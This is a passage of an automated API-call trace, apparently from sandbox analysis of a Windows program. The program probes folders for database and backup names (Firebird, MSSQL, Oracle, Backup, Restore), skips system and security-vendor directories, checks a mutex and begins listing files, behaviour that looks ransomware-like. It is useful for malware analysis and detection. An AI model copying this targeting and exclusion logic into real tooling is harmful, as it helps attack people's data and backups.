ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@∜R企@\x18권Q\x181")) returned 0xffffffff [0047.833] GetLastError () returned 0x2 [0047.833] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\") returned 0x5c [0047.833] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0047.833] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0047.833] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\Firebird", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e698f8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@呤U企@\x18?T\x18;")) returned 0xffffffff [0047.833] GetLastError () returned 0x2 [0047.833] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\") returned 0x5c [0047.833] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69930, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0047.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\") returned 8 [0047.834] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\MSSQL.1", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e698f8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@蟼T企@\x18?T\x18D")) returned 0xffffffff [0047.834] GetLastError () returned 0x2 [0047.834] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\") returned 0x5c [0047.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69930, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0047.834] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0047.834] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e698f8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@∜R企@\x18呤U\x18j")) returned 0xffffffff [0047.834] GetLastError () returned 0x2 [0047.835] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\") returned 0x5c [0047.835] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0047.835] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0047.835] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\Adobe", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e698f8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@⭌R企@\x18?T\x18q")) returned 0xffffffff [0047.835] GetLastError () returned 0x2 [0047.835] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\") returned 0x5c [0047.835] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69930, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="adobe\\呠Uð") returned 6 [0047.835] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0047.836] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\Oracle", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e698f8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@⒄U企@\x18?T\x18y")) returned 0xffffffff [0047.836] GetLastError () returned 0x2 [0047.836] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\") returned 0x5c [0047.836] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69930, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0047.836] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0047.836] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\Archive", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e698f8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@∜R企@\x18?T\x18\x81")) returned 0xffffffff [0047.836] GetLastError () returned 0x2 [0047.836] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\") returned 0x5c [0047.836] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69930, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0047.836] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0047.837] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\Backup", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e698f8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@蟼T企@\x18?T\x18\x88")) returned 0xffffffff [0047.837] GetLastError () returned 0x2 [0047.837] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\") returned 0x5c [0047.837] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69930, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0047.837] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0047.837] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\Reserv", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e698f8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@⒄U企@\x18?T\x18\x8f")) returned 0xffffffff [0047.837] GetLastError () returned 0x2 [0047.837] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\") returned 0x5c [0047.837] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69930, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0047.838] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0047.838] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\Restore", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557578, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e698f8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="卜U䱠@∜R企@\x18?T\x18\x97")) returned 0xffffffff [0047.838] GetLastError () returned 0x2 [0047.838] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\") returned 0x5c [0047.838] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69930, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0047.838] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.838] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.838] GlobalUnlock (hMem=0x44000c) returned 0 [0047.838] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.838] GlobalLock (hMem=0x440004) returned 0x557578 [0047.838] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.838] GlobalUnlock (hMem=0x44000c) returned 0 [0047.838] GlobalHandle (pMem=0x557578) returned 0x440004 [0047.838] GlobalUnlock (hMem=0x440004) returned 0 [0047.838] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\") returned 0x5c [0047.838] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.839] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0047.839] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\") returned 0x5c [0047.839] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0047.839] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0047.839] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\") returned 0x5c [0047.839] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0047.839] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0047.839] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\") returned 0x5c [0047.839] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0047.839] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69960, cbMultiByte=11, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0047.839] GlobalLock (hMem=0x440004) returned 0x555568 [0047.839] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.839] GlobalUnlock (hMem=0x440004) returned 0 [0047.839] GlobalLock (hMem=0x440004) returned 0x555568 [0047.839] GlobalLock (hMem=0x44000c) returned 0x557578 [0047.840] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.840] GlobalUnlock (hMem=0x440004) returned 0 [0047.840] GlobalHandle (pMem=0x557578) returned 0x44000c [0047.840] GlobalUnlock (hMem=0x44000c) returned 0 [0047.840] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\") returned 0x5c [0047.840] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0047.840] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\") returned 0x5c [0047.840] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69930, cbMultiByte=11, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0047.840] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\") returned 0x5c [0047.840] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69930, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0047.840] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\") returned 0x5c [0047.840] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0047.841] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\") returned 0x5c [0047.841] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0047.841] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\") returned 0x5c [0047.841] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69930, cbMultiByte=10, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0047.841] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\") returned 0x5c [0047.841] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69930, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0047.841] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\") returned 0x5c [0047.841] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69930, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0047.842] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\", cchLength=0x5c | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\") returned 0x5c [0047.842] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0047.842] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.842] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.842] GlobalUnlock (hMem=0x44000c) returned 0 [0047.842] GlobalLock (hMem=0x44000c) returned 0x555568 [0047.842] GlobalLock (hMem=0x440004) returned 0x557578 [0047.842] GlobalHandle (pMem=0x555568) returned 0x44000c [0047.842] GlobalUnlock (hMem=0x44000c) returned 0 [0047.842] GlobalHandle (pMem=0x557578) returned 0x440004 [0047.842] GlobalUnlock (hMem=0x440004) returned 0 [0047.842] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0047.842] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.842] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.XML", cAlternateFileName="")) returned 1 [0047.842] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0047.842] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0047.842] GlobalLock (hMem=0x440004) returned 0x555568 [0047.842] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.842] GlobalUnlock (hMem=0x440004) returned 0 [0047.842] GlobalLock (hMem=0x440004) returned 0x555568 [0047.842] GlobalLock (hMem=0x44000c) returned 0x557578 [0047.842] GlobalHandle (pMem=0x555568) returned 0x440004 [0047.842] GlobalUnlock (hMem=0x440004) returned 0 [0047.842] GlobalHandle (pMem=0x557578) returned 0x44000c [0047.842] GlobalUnlock (hMem=0x44000c) returned 0 [0047.843] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.843] CharLowerBuffW (in: lpsz="ExcelMUI.XML", cchLength=0xc | out: lpsz="excelmui.xml") returned 0xc [0047.843] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.843] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.843] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.843] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0047.843] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, 